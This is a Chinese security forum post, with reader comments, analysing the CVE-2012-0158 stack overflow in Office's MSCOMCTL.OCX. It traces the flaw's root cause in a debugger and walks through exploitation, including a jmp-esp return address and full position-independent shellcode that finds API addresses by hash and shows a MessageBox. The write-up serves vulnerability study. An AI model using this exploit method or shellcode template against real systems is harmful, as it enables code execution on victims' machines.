首页
论坛
课程
招聘
[原创]小白分析office漏洞 CVE-2012-0158
2020-11-21 08:10 2242

[原创]小白分析office漏洞 CVE-2012-0158

2020-11-21 08:10
2242


软件名称Microsoft Office

操作系统Window 7 专业版(32位)

软件版本2003漏洞编号CVE-2012-0158
漏洞模块MSCOMCTL.OCX危害等级:高危
模块版本2003漏洞类型:缓冲区溢出
编译日期:2020-11-19威胁类型:本地


1.软件简介

Microsoft Office是由Microsoft(微软)公司开发的一套基于 Windows 操作系统的办公软件套装。常用组件有 Word、Excel、PowerPoint等。最新版本为Microsoft 365(Office 2019)

2.漏洞成因

CVE-2012-0158漏洞是一个栈溢出漏洞,该漏洞的产生来自于微软Office办公软件中MSCOMCTL.ocx中的MSCOMCTL.ListView控件检查失误。在读取数据的时候,读取的长度和验证的长度都在文件中,且可以人为修改,进而触发缓冲区溢出攻击者可以通过精心构造的数据修改EIP指向来实现任意代码的执行。

2.1定位漏洞触发模块

OllyDbg附加office,打开问题文档,发现弹出错误提示框,通过esp找到溢出点



分析溢出点附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后可能已经破坏,溢出点上面的堆栈─般是刚刚执行的函数堆栈,可以发现有一个地址275C8AOA,可以看出这个地址是MSCOMCTL模块中的地址,由此判断刚刚执行的函数中执行了MSCOMCTL模块中的代码





2.2定位漏洞函数

动态调试溢出点所在的函数,可以跟踪到是CALL275C876D时出的问题



2.3分析漏洞成因

重新动态调试观察CALL275C876D的参数



函数275C876D内部



在文件中搜索定位长度,发现有两个长度,猜测一个是dwBytes,一个是v7



OllyDbg中单步调试以及修改8282为8283对比前后状态,发现两个长度确实一个是dwBytes,一个是v7



函数275C876D内部


修改8282为8283




函数275C876D内部



IDA继续分析,后面疑似有拷贝函数


 


OllyDbg找到了执行拷贝的语句



在读取数据时,读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出,栈溢出即在拷贝时,多余的部分向栈地址增加的方向覆盖,当函数返回地址被覆盖的时候,函数返回时会读取被覆盖的数据作为即将执行代码的地址,进而产生未知的后果

产生漏洞的根本原因是一个判断(即dwbytes>=8)。在函数sub_275c89c7中先后调用两次函数sub_275c876d,第一次调用该函数前分配了0x14字节的栈空间,第二次调用该函数前已使用0xc字节的空间(剩余0x8字节)。在函数内部会有拷贝数据这一行为,若拷贝数据量大于0x8字节就会引起栈溢出



官方修改如下,判断v9(dwBytes)是否等于8,不为8则返回



3.利用过程

3.1分析和设计漏洞shellcode的结构

010Editor打开问题文件,分析数据内容,其中8282为自定义的缓冲区长度



拷贝来源值原本为436F626A6400000082820000,拷贝去向首地址如上图缓冲区起始位置,用OllyDbg验证

即将拷贝(尚未拷贝)



即将进行第8次拷贝



RETN 0x8可以分解为两条语句 pop eip 与 ESP=ESP+0x8,将41414141替换为一个指向语句jmp esp的地址,在41414141后面16(16==0x8*2)个字节处是书写shellcode的起点。这样当执行RETN 0x8之后,eip会跳到栈顶esp指向的位置执行接下来的语句,而栈顶由于加了0x8,正好指向书写的shellcode

 


3.2在运行的程序中寻找跳板指令地址

  1)寻找Jmp esp(opecode为ffe4),用到了wimdbg+mona.py+pykd.pyd

  2)首先安装WDK,因为WDK自带windbg

  3)安装python2.7.2

  4)安装Visual C++ 2008运行库

  5)安装windbg的python插件pykd

  6)将mona.py与windbglib.py放到windbg.exe同目录下

  7)运行windbg开始调试后,输入以下命令即可开始使用mona

    .load pykd,pyd

    !py mona

  8)查找”jmp esp”,”push esp#ret”等指令

    !py mona jmp -r esp

 

  查找结果如下图,因为0x729a0535 显示可读可执行(PAGE_EXECUTE_READ),故选择该地址替换41414141,由于是小端存储,记得倒序替换(即35059a72)



3.3编写shellcode,注入shellcode

  用Visual Studio2019 编写shellcode,这里最终目标只是弹窗一个HelloWorld

    1)获取Kernel32.dll基地址

    2)获取GetProcAddress函数地址

    3)获取LoadLibraryA地址

    4)获取user32基地址

    5)获取MessageBoxA地址

    6)调用MessageBoxA地址

    7)获取ExitProcess地址

    8)调用ExitProcess

  注入shellcode:

      将编写的程序(realease版)拖入OllyDbg,找到main函数,然后选中书写的汇编语句,按下shift+x复制这一部分opcode,粘贴到问题文件中。


4.POC

shellcode源码如下


#include<stdio.h>
#define EM(x) _asm _emit x
extern "C" int shellcode_start();

_declspec(naked) int shellcode_entry()
{
	_asm
	{
		nop
		nop
		nop
		nop
		nop
		jmp shellcode_start
		nop
	}
}

//获取Kernel32基地址
_declspec(naked) int GetKernel32Base()
{
	_asm
	{
		push esi
		mov esi,dword ptr fs : [0x30]//1.FS:[0x30]获取PEB
		mov esi,[esi + 0xc]//2.指向PEB_LDR_DATA结构指针
		mov esi,[esi + 0x1c]//3.模块链表指针
		mov esi,[esi]//4.获取第一个链表结构
		mov esi,[esi]//5.获取模块链表第二个条目,一般是kernel32或者kernelbase(win7以下)
		mov eax,[esi+0x8]//6.获取基址,kernel32或者kernelbase
		pop esi
		ret
	}
}

//求字符串Hash值
_declspec(naked) int GetStringHash(const char* szString)
{
	_asm
	{
		push ebp
		mov ebp,esp
		push esi
		push edx
		xor edx,edx
		xor eax,eax
		mov esi,[ebp+8]//获取参数,即字符串
	GetStringHash_Loop:
		lods byte ptr [esi] //获取字符串一个字节
		test al,al
		je GetStringHash_Exit//直到遇到0退出循环
		rol edx,0x3//求hash
		xor dl,al//求hash
		jmp GetStringHash_Loop
	GetStringHash_Exit:
		xchg eax,edx//将结果保存在eax
		pop edx
		pop esi
		mov esp,ebp
		pop ebp
		retn 4
	}
}

_declspec(naked) int GetHashAndCmpHash(const char*strFunName,int nHash)
{
	_asm
	{
		push ebp
		mov ebp,esp
		push ebx
		push edx
		mov eax,[ebp+0x8]//参数1:ebp+0x8 strFunName
		push eax
		call GetStringHash
		mov ebx,eax
		xor eax,eax
		mov edx,[ebp+0xc]//参数2 hash
		cmp ebx,edx//比较字符串的hash值
		jne GetHashAndCmpHash_End//不等返回0
		mov eax,0x1//相等返回1
	GetHashAndCmpHash_End:
		pop edx
		pop ebx
		mov esp,ebp
		pop ebp
		retn 8
	}
}

//根据hash值 寻找指定模块的 函数地址
_declspec(naked) int GetAddrFromHash(int nHash,int nImageBase)
{
	_asm
	{
		push ebp
		mov ebp,esp
		sub esp,0xc//申请局部空间
		push edx
		//1.获取EAT/ENT/EOT地址
		mov edx,[ebp+0xc] //imageBase
		mov esi,[edx+0x3c]//esi=IMAGE_DOS_HEADER.e_lfanew
	    lea esi,[edx+esi]//pe文件头
		mov esi,[esi+0x78]//esi=IMAGE_EXPORT.VirtualAddress
		lea esi,[edx+esi]//esi=导出表首地址
		//EAT
		mov edi,[esi+0x1c]//edi=IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
		lea edi,[edx+edi]//EAT首地址
		mov [ebp-0x4],edi//EAT
		//ENT
		mov edi,[esi+0x20]//edi=IMAGE_EXPORT_DIRECTORY.AddressOfNames
		lea edi,[edx+edi]//ENT首地址
		mov [ebp-0x8],edi//ENT
		//EOT
		mov edi,[esi+0x24]//edi=IMAGE_EXPORT_DIRECTORY.AddressOfNamesOrdinals
		lea edi,[edx+edi]//EOT首地址
		mov [ebp-0xc],edi//EOT
		//2.循环对比ENT中的函数名
		xor ecx,ecx//数组下标
		jmp Loop_FirstCmp
	Loop_FunName:
		inc ecx
	Loop_FirstCmp:
		mov esi, [ebp - 0x8]//ent
		mov esi, [esi + ecx * 4]//ENT rva
		mov edx, [ebp + 0xc]//imageBase
		lea esi, [edx + esi]//ENT va(第一个函数名)
		push[ebp + 0x8]//nHash
		push esi//strFun
		call GetHashAndCmpHash
		test eax, eax
		je Loop_FunName
		//3.成功后找到对应序号
		mov esi, [ebp - 0xc]//EOT
		xor edi, edi
		mov di, [esi + ecx * 2]//取EOT[i]
		//4.在EAT中找到对应函数地址
		mov esi, [ebp - 0x4]//EAT
		mov edi, [esi + edi * 4]//EAT[EOT[i]] rva
		mov edx, [ebp + 0xc]//imageBase
		//5.返回地址
		lea eax, [edx + edi]//EAT VA函数地址
		pop edx
		mov esp,ebp
		pop ebp
		retn 8
	}
}

_declspec(naked) int shellcode_start()
{
	_asm
	{
		push ebp
		mov ebp,esp
		sub esp,0x30
		jmp zero_code
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		zero_code:

		jmp code_start
		//ebp-0x10(28) len:7"user32/0"
		EM(0x75) EM(0x73) EM(0x65) EM(0x72) EM(0x33) EM(0x32) EM(0x00)
		//ebp-0x0c(17) len:12"Hello World/0"
		EM(0x48) EM(0x65) EM(0x6C) EM(0x6C) EM(0x6F) EM(0x20) EM(0x57) EM(0x6F) EM(0x72) EM(0x6C) EM(0x64) EM(0x00)
	code_start:
		call code_pop
	code_pop:
		pop eax
		sub eax,0x18
		mov [ebp-0x2C],eax //保存user32地址
		add eax,0x7
		mov [ebp-0x28],eax//保存Hello World地址

		//1.获取Kernel32基地址
		call GetKernel32Base
		mov [ebp-0x24],eax
		//2.获取GetProcAddress地址
		push eax
		push 0xf2509b84
		call GetAddrFromHash
		mov [ebp-0x20],eax
		//3.获取LoadLibraryA地址
		push [ebp-0x24]
		push 0xa412fd89
		call GetAddrFromHash
		mov [ebp-0x1c],eax
		//4.获取user32基地址
		push [ebp-0x2c]
		call [ebp-0x1c]
		mov [ebp-0x18],eax
		//5.获取MessageBoxA地址
		push eax
		push 0x14d14c51
		call GetAddrFromHash
		mov [ebp-0x14],eax
		//6.调用MessageBoxA地址
		push 0
		push 0
		push [ebp-0x28]
		push 0
		call [ebp-0x14]
		//7.获取ExitProcess地址
		push [ebp-0x24]
	    push 0xe6ff2cb9
		call GetAddrFromHash
		//8.调用ExitProcess
		push 0
		call eax

		retn
	}
}
int main()
{
	shellcode_entry();
	return 0;
}


最终结果如下



5.附加

1)office漏洞大多都是栈溢出,如CVE-2017-11882,CVE-2018-0802和CVE-2017-0199

2)附件中为问题文件,即文中溢出点处的值为0x41414141的文件

3)感谢Keoyo先生在评论区的建议,祝大家不忘初心,精益求精

4)本文记录平日自己写的项目(其中用到的知识来自于15pb,遇到不解处多谢老师指导)



看雪社区年底排行榜,查查你的排名?

最后于 2020-11-27 09:28 被哦哈哈哈哈编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (3)
雪    币: 285
活跃值: 活跃值 (110)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
Keoyo 活跃值 2 2020-11-23 16:49
2
0
感谢分享,加油哈~
另外提一点小意见,感觉楼主只分析了溢出的位置,但是木有分析漏洞的根本原因哦,我记得最早前我调试这个漏洞的时候感觉这个漏洞根本原因是在楼主的2.3节第一张图片sub_275c89c7函数中在调用sub_275c876d之前有一个if判断,其中判断dwbytes时错误的设置了边界值,漏洞函数是dwbytes>=8,最后进行memcpy的目的地址使用的v7则是在sub_275c89c7中的栈地址,最终导致了可以拷贝超出分配栈空间大小从而引发栈溢出。我记得patch是修改dwbytes的判断为dwbytes<8,因为这个漏洞实在太经典了,所以有很印象(如果错了请轻喷哈),其实我有看过很多分析文章多数情况下只说明了触发漏洞的位置,但还稍稍欠缺一些root cause的分析,我觉得只有每一次分析都抓住root cause才能为以后漏洞挖掘或者分析更难的漏洞打下基石(毕竟溢出位置只要crash就能看到实在是太简单了),说的不正确的地方希望原谅,感谢交流哈
雪    币: 1911
活跃值: 活跃值 (3066)
能力值: (RANK:260 )
在线值:
发帖
回帖
粉丝
0x2l 活跃值 3 2020-11-23 17:04
3
0
Keoyo 感谢分享,加油哈~ 另外提一点小意见,感觉楼主只分析了溢出的位置,但是木有分析漏洞的根本原因哦,我记得最早前我调试这个漏洞的时候感觉这个漏洞根本原因是在楼主的2.3节第一张图片sub_275c89c ...
捕捉K0师傅
雪    币: 1514
活跃值: 活跃值 (1178)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
哦哈哈哈哈 活跃值 2020-11-23 17:17
4
0
Keoyo 感谢分享,加油哈~ 另外提一点小意见,感觉楼主只分析了溢出的位置,但是木有分析漏洞的根本原因哦,我记得最早前我调试这个漏洞的时候感觉这个漏洞根本原因是在楼主的2.3节第一张图片sub_275c89c ...
感谢指导⁄(⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄
游客
登录 | 注册 方可回帖
返回